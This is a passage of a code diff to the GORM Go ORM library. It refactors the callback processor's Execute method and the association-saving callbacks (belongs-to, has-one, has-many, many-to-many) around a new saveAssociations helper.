+42
-11
@@ -32,6 +32,7 @@ type callbacks struct {
|
||||
|
||||
type processor struct {
|
||||
db *DB
|
||||
Clauses []string
|
||||
fns []func(*DB)
|
||||
callbacks []*callback
|
||||
}
|
||||
@@ -71,19 +72,38 @@ func (cs *callbacks) Raw() *processor {
|
||||
return cs.processors["raw"]
|
||||
}
|
||||
|
||||
func (p *processor) Execute(db *DB) {
|
||||
curTime := time.Now()
|
||||
stmt := db.Statement
|
||||
func (p *processor) Execute(db *DB) *DB {
|
||||
// call scopes
|
||||
for len(db.Statement.scopes) > 0 {
|
||||
scopes := db.Statement.scopes
|
||||
db.Statement.scopes = nil
|
||||
for _, scope := range scopes {
|
||||
db = scope(db)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
curTime = time.Now()
|
||||
stmt = db.Statement
|
||||
resetBuildClauses bool
|
||||
)
|
||||
|
||||
if len(stmt.BuildClauses) == 0 {
|
||||
stmt.BuildClauses = p.Clauses
|
||||
resetBuildClauses = true
|
||||
}
|
||||
|
||||
// assign model values
|
||||
if stmt.Model == nil {
|
||||
stmt.Model = stmt.Dest
|
||||
} else if stmt.Dest == nil {
|
||||
stmt.Dest = stmt.Model
|
||||
}
|
||||
|
||||
// parse model values
|
||||
if stmt.Model != nil {
|
||||
if err := stmt.Parse(stmt.Model); err != nil && (!errors.Is(err, schema.ErrUnsupportedDataType) || (stmt.Table == "" && stmt.SQL.Len() == 0)) {
|
||||
if errors.Is(err, schema.ErrUnsupportedDataType) && stmt.Table == "" {
|
||||
if err := stmt.Parse(stmt.Model); err != nil && (!errors.Is(err, schema.ErrUnsupportedDataType) || (stmt.Table == "" && stmt.TableExpr == nil && stmt.SQL.Len() == 0)) {
|
||||
if errors.Is(err, schema.ErrUnsupportedDataType) && stmt.Table == "" && stmt.TableExpr == nil {
|
||||
db.AddError(fmt.Errorf("%w: Table not set, please set it like: db.Model(&user) or db.Table(\"users\")", err))
|
||||
} else {
|
||||
db.AddError(err)
|
||||
@@ -91,13 +111,18 @@ func (p *processor) Execute(db *DB) {
|
||||
}
|
||||
}
|
||||
|
||||
// assign stmt.ReflectValue
|
||||
if stmt.Dest != nil {
|
||||
stmt.ReflectValue = reflect.ValueOf(stmt.Dest)
|
||||
for stmt.ReflectValue.Kind() == reflect.Ptr {
|
||||
if stmt.ReflectValue.IsNil() && stmt.ReflectValue.CanAddr() {
|
||||
stmt.ReflectValue.Set(reflect.New(stmt.ReflectValue.Type().Elem()))
|
||||
}
|
||||
|
||||
stmt.ReflectValue = stmt.ReflectValue.Elem()
|
||||
}
|
||||
if !stmt.ReflectValue.IsValid() {
|
||||
db.AddError(fmt.Errorf("invalid value"))
|
||||
db.AddError(ErrInvalidValue)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -113,6 +138,12 @@ func (p *processor) Execute(db *DB) {
|
||||
stmt.SQL.Reset()
|
||||
stmt.Vars = nil
|
||||
}
|
||||
|
||||
if resetBuildClauses {
|
||||
stmt.BuildClauses = nil
|
||||
}
|
||||
|
||||
return db
|
||||
}
|
||||
|
||||
func (p *processor) Get(name string) func(*DB) {
|
||||
@@ -181,7 +212,7 @@ func (c *callback) Register(name string, fn func(*DB)) error {
|
||||
}
|
||||
|
||||
func (c *callback) Remove(name string) error {
|
||||
c.processor.db.Logger.Warn(context.Background(), "removing callback `%v` from %v\n", name, utils.FileWithLineNum())
|
||||
c.processor.db.Logger.Warn(context.Background(), "removing callback `%s` from %s\n", name, utils.FileWithLineNum())
|
||||
c.name = name
|
||||
c.remove = true
|
||||
c.processor.callbacks = append(c.processor.callbacks, c)
|
||||
@@ -189,7 +220,7 @@ func (c *callback) Remove(name string) error {
|
||||
}
|
||||
|
||||
func (c *callback) Replace(name string, fn func(*DB)) error {
|
||||
c.processor.db.Logger.Info(context.Background(), "replacing callback `%v` from %v\n", name, utils.FileWithLineNum())
|
||||
c.processor.db.Logger.Info(context.Background(), "replacing callback `%s` from %s\n", name, utils.FileWithLineNum())
|
||||
c.name = name
|
||||
c.handler = fn
|
||||
c.replace = true
|
||||
@@ -219,7 +250,7 @@ func sortCallbacks(cs []*callback) (fns []func(*DB), err error) {
|
||||
for _, c := range cs {
|
||||
// show warning message the callback name already exists
|
||||
if idx := getRIndex(names, c.name); idx > -1 && !c.replace && !c.remove && !cs[idx].remove {
|
||||
c.processor.db.Logger.Warn(context.Background(), "duplicated callback `%v` from %v\n", c.name, utils.FileWithLineNum())
|
||||
c.processor.db.Logger.Warn(context.Background(), "duplicated callback `%s` from %s\n", c.name, utils.FileWithLineNum())
|
||||
}
|
||||
names = append(names, c.name)
|
||||
}
|
||||
@@ -235,7 +266,7 @@ func sortCallbacks(cs []*callback) (fns []func(*DB), err error) {
|
||||
// if before callback already sorted, append current callback just after it
|
||||
sorted = append(sorted[:sortedIdx], append([]string{c.name}, sorted[sortedIdx:]...)...)
|
||||
} else if curIdx > sortedIdx {
|
||||
return fmt.Errorf("conflicting callback %v with before %v", c.name, c.before)
|
||||
return fmt.Errorf("conflicting callback %s with before %s", c.name, c.before)
|
||||
}
|
||||
} else if idx := getRIndex(names, c.before); idx != -1 {
|
||||
// if before callback exists
|
||||
@@ -253,7 +284,7 @@ func sortCallbacks(cs []*callback) (fns []func(*DB), err error) {
|
||||
// if after callback sorted, append current callback to last
|
||||
sorted = append(sorted, c.name)
|
||||
} else if curIdx < sortedIdx {
|
||||
return fmt.Errorf("conflicting callback %v with before %v", c.name, c.after)
|
||||
return fmt.Errorf("conflicting callback %s with before %s", c.name, c.after)
|
||||
}
|
||||
} else if idx := getRIndex(names, c.after); idx != -1 {
|
||||
// if after callback exists but haven't sorted
|
||||
|
||||
+287
-243
@@ -2,85 +2,88 @@ package callbacks
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"strings"
|
||||
|
||||
"gorm.io/gorm"
|
||||
"gorm.io/gorm/clause"
|
||||
"gorm.io/gorm/schema"
|
||||
)
|
||||
|
||||
func SaveBeforeAssociations(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil {
|
||||
selectColumns, restricted := db.Statement.SelectAndOmitColumns(true, false)
|
||||
func SaveBeforeAssociations(create bool) func(db *gorm.DB) {
|
||||
return func(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil {
|
||||
selectColumns, restricted := db.Statement.SelectAndOmitColumns(create, !create)
|
||||
|
||||
// Save Belongs To associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.BelongsTo {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
// Save Belongs To associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.BelongsTo {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
|
||||
setupReferences := func(obj reflect.Value, elem reflect.Value) {
|
||||
for _, ref := range rel.References {
|
||||
if !ref.OwnPrimaryKey {
|
||||
pv, _ := ref.PrimaryKey.ValueOf(elem)
|
||||
db.AddError(ref.ForeignKey.Set(obj, pv))
|
||||
setupReferences := func(obj reflect.Value, elem reflect.Value) {
|
||||
for _, ref := range rel.References {
|
||||
if !ref.OwnPrimaryKey {
|
||||
pv, _ := ref.PrimaryKey.ValueOf(elem)
|
||||
db.AddError(ref.ForeignKey.Set(obj, pv))
|
||||
|
||||
if dest, ok := db.Statement.Dest.(map[string]interface{}); ok {
|
||||
dest[ref.ForeignKey.DBName] = pv
|
||||
if _, ok := dest[rel.Name]; ok {
|
||||
dest[rel.Name] = elem.Interface()
|
||||
if dest, ok := db.Statement.Dest.(map[string]interface{}); ok {
|
||||
dest[ref.ForeignKey.DBName] = pv
|
||||
if _, ok := dest[rel.Name]; ok {
|
||||
dest[rel.Name] = elem.Interface()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
var (
|
||||
objs []reflect.Value
|
||||
fieldType = rel.Field.FieldType
|
||||
isPtr = fieldType.Kind() == reflect.Ptr
|
||||
)
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
var (
|
||||
objs = make([]reflect.Value, 0, db.Statement.ReflectValue.Len())
|
||||
fieldType = rel.Field.FieldType
|
||||
isPtr = fieldType.Kind() == reflect.Ptr
|
||||
)
|
||||
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
if _, zero := rel.Field.ValueOf(obj); !zero { // check belongs to relation value
|
||||
rv := rel.Field.ReflectValueOf(obj) // relation reflect value
|
||||
objs = append(objs, obj)
|
||||
if isPtr {
|
||||
elems = reflect.Append(elems, rv)
|
||||
} else {
|
||||
elems = reflect.Append(elems, rv.Addr())
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
if _, zero := rel.Field.ValueOf(obj); !zero { // check belongs to relation value
|
||||
rv := rel.Field.ReflectValueOf(obj) // relation reflect value
|
||||
objs = append(objs, obj)
|
||||
if isPtr {
|
||||
elems = reflect.Append(elems, rv)
|
||||
} else {
|
||||
elems = reflect.Append(elems, rv.Addr())
|
||||
}
|
||||
}
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if elems.Len() > 0 {
|
||||
if saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, nil) == nil {
|
||||
for i := 0; i < elems.Len(); i++ {
|
||||
setupReferences(objs[i], elems.Index(i))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if elems.Len() > 0 {
|
||||
if db.AddError(db.Session(&gorm.Session{}).Clauses(onConflictOption(db.Statement, rel.FieldSchema, nil)).Create(elems.Interface()).Error) == nil {
|
||||
for i := 0; i < elems.Len(); i++ {
|
||||
setupReferences(objs[i], elems.Index(i))
|
||||
case reflect.Struct:
|
||||
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
|
||||
rv := rel.Field.ReflectValueOf(db.Statement.ReflectValue) // relation reflect value
|
||||
if rv.Kind() != reflect.Ptr {
|
||||
rv = rv.Addr()
|
||||
}
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
|
||||
rv := rel.Field.ReflectValueOf(db.Statement.ReflectValue) // relation reflect value
|
||||
if rv.Kind() != reflect.Ptr {
|
||||
rv = rv.Addr()
|
||||
}
|
||||
|
||||
if db.AddError(db.Session(&gorm.Session{}).Clauses(onConflictOption(db.Statement, rel.FieldSchema, nil)).Create(rv.Interface()).Error) == nil {
|
||||
setupReferences(db.Statement.ReflectValue, rv)
|
||||
if saveAssociations(db, rel, rv.Interface(), selectColumns, restricted, nil) == nil {
|
||||
setupReferences(db.Statement.ReflectValue, rv)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -88,248 +91,289 @@ func SaveBeforeAssociations(db *gorm.DB) {
|
||||
}
|
||||
}
|
||||
|
||||
func SaveAfterAssociations(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil {
|
||||
selectColumns, restricted := db.Statement.SelectAndOmitColumns(true, false)
|
||||
func SaveAfterAssociations(create bool) func(db *gorm.DB) {
|
||||
return func(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil {
|
||||
selectColumns, restricted := db.Statement.SelectAndOmitColumns(create, !create)
|
||||
|
||||
// Save Has One associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.HasOne {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
// Save Has One associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.HasOne {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
var (
|
||||
fieldType = rel.Field.FieldType
|
||||
isPtr = fieldType.Kind() == reflect.Ptr
|
||||
)
|
||||
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
|
||||
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
if _, zero := rel.Field.ValueOf(obj); !zero {
|
||||
rv := rel.Field.ReflectValueOf(obj)
|
||||
if rv.Kind() != reflect.Ptr {
|
||||
rv = rv.Addr()
|
||||
}
|
||||
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(obj)
|
||||
db.AddError(ref.ForeignKey.Set(rv, fv))
|
||||
} else if ref.PrimaryValue != "" {
|
||||
db.AddError(ref.ForeignKey.Set(rv, ref.PrimaryValue))
|
||||
}
|
||||
}
|
||||
|
||||
elems = reflect.Append(elems, rv)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if elems.Len() > 0 {
|
||||
assignmentColumns := make([]string, 0, len(rel.References))
|
||||
for _, ref := range rel.References {
|
||||
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
|
||||
}
|
||||
|
||||
saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, assignmentColumns)
|
||||
}
|
||||
case reflect.Struct:
|
||||
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
|
||||
f := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
|
||||
if f.Kind() != reflect.Ptr {
|
||||
f = f.Addr()
|
||||
}
|
||||
|
||||
assignmentColumns := make([]string, 0, len(rel.References))
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(db.Statement.ReflectValue)
|
||||
ref.ForeignKey.Set(f, fv)
|
||||
} else if ref.PrimaryValue != "" {
|
||||
ref.ForeignKey.Set(f, ref.PrimaryValue)
|
||||
}
|
||||
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
|
||||
}
|
||||
|
||||
saveAssociations(db, rel, f.Interface(), selectColumns, restricted, assignmentColumns)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
var (
|
||||
fieldType = rel.Field.FieldType
|
||||
isPtr = fieldType.Kind() == reflect.Ptr
|
||||
)
|
||||
// Save Has Many associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.HasMany {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
|
||||
fieldType := rel.Field.IndirectFieldType.Elem()
|
||||
isPtr := fieldType.Kind() == reflect.Ptr
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
|
||||
appendToElems := func(v reflect.Value) {
|
||||
if _, zero := rel.Field.ValueOf(v); !zero {
|
||||
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
|
||||
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
|
||||
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
if _, zero := rel.Field.ValueOf(obj); !zero {
|
||||
rv := rel.Field.ReflectValueOf(obj)
|
||||
if rv.Kind() != reflect.Ptr {
|
||||
rv = rv.Addr()
|
||||
}
|
||||
|
||||
for i := 0; i < f.Len(); i++ {
|
||||
elem := f.Index(i)
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(obj)
|
||||
db.AddError(ref.ForeignKey.Set(rv, fv))
|
||||
pv, _ := ref.PrimaryKey.ValueOf(v)
|
||||
ref.ForeignKey.Set(elem, pv)
|
||||
} else if ref.PrimaryValue != "" {
|
||||
db.AddError(ref.ForeignKey.Set(rv, ref.PrimaryValue))
|
||||
ref.ForeignKey.Set(elem, ref.PrimaryValue)
|
||||
}
|
||||
}
|
||||
|
||||
elems = reflect.Append(elems, rv)
|
||||
if isPtr {
|
||||
elems = reflect.Append(elems, elem)
|
||||
} else {
|
||||
elems = reflect.Append(elems, elem.Addr())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
appendToElems(obj)
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
appendToElems(db.Statement.ReflectValue)
|
||||
}
|
||||
|
||||
if elems.Len() > 0 {
|
||||
assignmentColumns := []string{}
|
||||
assignmentColumns := make([]string, 0, len(rel.References))
|
||||
for _, ref := range rel.References {
|
||||
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
|
||||
}
|
||||
|
||||
db.AddError(db.Session(&gorm.Session{}).Clauses(
|
||||
onConflictOption(db.Statement, rel.FieldSchema, assignmentColumns),
|
||||
).Create(elems.Interface()).Error)
|
||||
saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, assignmentColumns)
|
||||
}
|
||||
case reflect.Struct:
|
||||
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
|
||||
f := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
|
||||
if f.Kind() != reflect.Ptr {
|
||||
f = f.Addr()
|
||||
}
|
||||
}
|
||||
|
||||
assignmentColumns := []string{}
|
||||
// Save Many2Many associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.Many2Many {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
|
||||
fieldType := rel.Field.IndirectFieldType.Elem()
|
||||
isPtr := fieldType.Kind() == reflect.Ptr
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
|
||||
joins := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(rel.JoinTable.ModelType)), 0, 10)
|
||||
objs := []reflect.Value{}
|
||||
|
||||
appendToJoins := func(obj reflect.Value, elem reflect.Value) {
|
||||
joinValue := reflect.New(rel.JoinTable.ModelType)
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(db.Statement.ReflectValue)
|
||||
ref.ForeignKey.Set(f, fv)
|
||||
fv, _ := ref.PrimaryKey.ValueOf(obj)
|
||||
ref.ForeignKey.Set(joinValue, fv)
|
||||
} else if ref.PrimaryValue != "" {
|
||||
ref.ForeignKey.Set(f, ref.PrimaryValue)
|
||||
ref.ForeignKey.Set(joinValue, ref.PrimaryValue)
|
||||
} else {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(elem)
|
||||
ref.ForeignKey.Set(joinValue, fv)
|
||||
}
|
||||
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
|
||||
}
|
||||
|
||||
db.AddError(db.Session(&gorm.Session{}).Clauses(
|
||||
onConflictOption(db.Statement, rel.FieldSchema, assignmentColumns),
|
||||
).Create(f.Interface()).Error)
|
||||
joins = reflect.Append(joins, joinValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Save Has Many associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.HasMany {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
appendToElems := func(v reflect.Value) {
|
||||
if _, zero := rel.Field.ValueOf(v); !zero {
|
||||
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
|
||||
|
||||
fieldType := rel.Field.IndirectFieldType.Elem()
|
||||
isPtr := fieldType.Kind() == reflect.Ptr
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
|
||||
appendToElems := func(v reflect.Value) {
|
||||
if _, zero := rel.Field.ValueOf(v); !zero {
|
||||
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
|
||||
for i := 0; i < f.Len(); i++ {
|
||||
elem := f.Index(i)
|
||||
|
||||
for i := 0; i < f.Len(); i++ {
|
||||
elem := f.Index(i)
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
pv, _ := ref.PrimaryKey.ValueOf(v)
|
||||
ref.ForeignKey.Set(elem, pv)
|
||||
} else if ref.PrimaryValue != "" {
|
||||
ref.ForeignKey.Set(elem, ref.PrimaryValue)
|
||||
objs = append(objs, v)
|
||||
if isPtr {
|
||||
elems = reflect.Append(elems, elem)
|
||||
} else {
|
||||
elems = reflect.Append(elems, elem.Addr())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if isPtr {
|
||||
elems = reflect.Append(elems, elem)
|
||||
} else {
|
||||
elems = reflect.Append(elems, elem.Addr())
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
appendToElems(obj)
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
appendToElems(db.Statement.ReflectValue)
|
||||
}
|
||||
}
|
||||
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
appendToElems(obj)
|
||||
// optimize elems of reflect value length
|
||||
if elemLen := elems.Len(); elemLen > 0 {
|
||||
if v, ok := selectColumns[rel.Name+".*"]; !ok || v {
|
||||
saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, nil)
|
||||
}
|
||||
|
||||
for i := 0; i < elemLen; i++ {
|
||||
appendToJoins(objs[i], elems.Index(i))
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
appendToElems(db.Statement.ReflectValue)
|
||||
}
|
||||
|
||||
if elems.Len() > 0 {
|
||||
assignmentColumns := []string{}
|
||||
for _, ref := range rel.References {
|
||||
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
|
||||
if joins.Len() > 0 {
|
||||
db.AddError(db.Session(&gorm.Session{NewDB: true}).Clauses(clause.OnConflict{DoNothing: true}).Session(&gorm.Session{
|
||||
SkipHooks: db.Statement.SkipHooks,
|
||||
DisableNestedTransaction: true,
|
||||
}).Create(joins.Interface()).Error)
|
||||
}
|
||||
|
||||
db.AddError(db.Session(&gorm.Session{}).Clauses(
|
||||
onConflictOption(db.Statement, rel.FieldSchema, assignmentColumns),
|
||||
).Create(elems.Interface()).Error)
|
||||
}
|
||||
}
|
||||
|
||||
// Save Many2Many associations
|
||||
for _, rel := range db.Statement.Schema.Relationships.Many2Many {
|
||||
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
|
||||
continue
|
||||
}
|
||||
|
||||
fieldType := rel.Field.IndirectFieldType.Elem()
|
||||
isPtr := fieldType.Kind() == reflect.Ptr
|
||||
if !isPtr {
|
||||
fieldType = reflect.PtrTo(fieldType)
|
||||
}
|
||||
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
|
||||
joins := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(rel.JoinTable.ModelType)), 0, 0)
|
||||
objs := []reflect.Value{}
|
||||
|
||||
appendToJoins := func(obj reflect.Value, elem reflect.Value) {
|
||||
joinValue := reflect.New(rel.JoinTable.ModelType)
|
||||
for _, ref := range rel.References {
|
||||
if ref.OwnPrimaryKey {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(obj)
|
||||
ref.ForeignKey.Set(joinValue, fv)
|
||||
} else if ref.PrimaryValue != "" {
|
||||
ref.ForeignKey.Set(joinValue, ref.PrimaryValue)
|
||||
} else {
|
||||
fv, _ := ref.PrimaryKey.ValueOf(elem)
|
||||
ref.ForeignKey.Set(joinValue, fv)
|
||||
}
|
||||
}
|
||||
joins = reflect.Append(joins, joinValue)
|
||||
}
|
||||
|
||||
appendToElems := func(v reflect.Value) {
|
||||
if _, zero := rel.Field.ValueOf(v); !zero {
|
||||
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
|
||||
|
||||
for i := 0; i < f.Len(); i++ {
|
||||
elem := f.Index(i)
|
||||
|
||||
objs = append(objs, v)
|
||||
if isPtr {
|
||||
elems = reflect.Append(elems, elem)
|
||||
} else {
|
||||
elems = reflect.Append(elems, elem.Addr())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
|
||||
obj := db.Statement.ReflectValue.Index(i)
|
||||
if reflect.Indirect(obj).Kind() == reflect.Struct {
|
||||
appendToElems(obj)
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
appendToElems(db.Statement.ReflectValue)
|
||||
}
|
||||
|
||||
if elems.Len() > 0 {
|
||||
db.AddError(db.Session(&gorm.Session{}).Clauses(onConflictOption(db.Statement, rel.FieldSchema, nil)).Create(elems.Interface()).Error)
|
||||
|
||||
for i := 0; i < elems.Len(); i++ {
|
||||
appendToJoins(objs[i], elems.Index(i))
|
||||
}
|
||||
}
|
||||
|
||||
if joins.Len() > 0 {
|
||||
db.AddError(db.Session(&gorm.Session{}).Clauses(clause.OnConflict{DoNothing: true}).Create(joins.Interface()).Error)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func onConflictOption(stmt *gorm.Statement, s *schema.Schema, defaultUpdatingColumns []string) clause.OnConflict {
|
||||
if stmt.DB.FullSaveAssociations {
|
||||
defaultUpdatingColumns = make([]string, 0, len(s.DBNames))
|
||||
for _, dbName := range s.DBNames {
|
||||
if !s.LookUpField(dbName).PrimaryKey {
|
||||
defaultUpdatingColumns = append(defaultUpdatingColumns, dbName)
|
||||
}
|
||||
func onConflictOption(stmt *gorm.Statement, s *schema.Schema, selectColumns map[string]bool, restricted bool, defaultUpdatingColumns []string) (onConflict clause.OnConflict) {
|
||||
if len(defaultUpdatingColumns) > 0 || stmt.DB.FullSaveAssociations {
|
||||
onConflict.Columns = make([]clause.Column, 0, len(s.PrimaryFieldDBNames))
|
||||
for _, dbName := range s.PrimaryFieldDBNames {
|
||||
onConflict.Columns = append(onConflict.Columns, clause.Column{Name: dbName})
|
||||
}
|
||||
|
||||
onConflict.UpdateAll = stmt.DB.FullSaveAssociations
|
||||
if !onConflict.UpdateAll {
|
||||
onConflict.DoUpdates = clause.AssignmentColumns(defaultUpdatingColumns)
|
||||
}
|
||||
} else {
|
||||
onConflict.DoNothing = true
|
||||
}
|
||||
|
||||
if len(defaultUpdatingColumns) > 0 {
|
||||
var columns []clause.Column
|
||||
if s.PrioritizedPrimaryField != nil {
|
||||
columns = []clause.Column{{Name: s.PrioritizedPrimaryField.DBName}}
|
||||
} else {
|
||||
for _, dbName := range s.PrimaryFieldDBNames {
|
||||
columns = append(columns, clause.Column{Name: dbName})
|
||||
return
|
||||
}
|
||||
|
||||
func saveAssociations(db *gorm.DB, rel *schema.Relationship, values interface{}, selectColumns map[string]bool, restricted bool, defaultUpdatingColumns []string) error {
|
||||
var (
|
||||
selects, omits []string
|
||||
onConflict = onConflictOption(db.Statement, rel.FieldSchema, selectColumns, restricted, defaultUpdatingColumns)
|
||||
refName = rel.Name + "."
|
||||
)
|
||||
|
||||
for name, ok := range selectColumns {
|
||||
columnName := ""
|
||||
if strings.HasPrefix(name, refName) {
|
||||
columnName = strings.TrimPrefix(name, refName)
|
||||
}
|
||||
|
||||
if columnName != "" {
|
||||
if ok {
|
||||
selects = append(selects, columnName)
|
||||
} else {
|
||||
omits = append(omits, columnName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tx := db.Session(&gorm.Session{NewDB: true}).Clauses(onConflict).Session(&gorm.Session{
|
||||
FullSaveAssociations: db.FullSaveAssociations,
|
||||
SkipHooks: db.Statement.SkipHooks,
|
||||
DisableNestedTransaction: true,
|
||||
})
|
||||
|
||||
return clause.OnConflict{
|
||||
Columns: columns,
|
||||
DoUpdates: clause.AssignmentColumns(defaultUpdatingColumns),
|
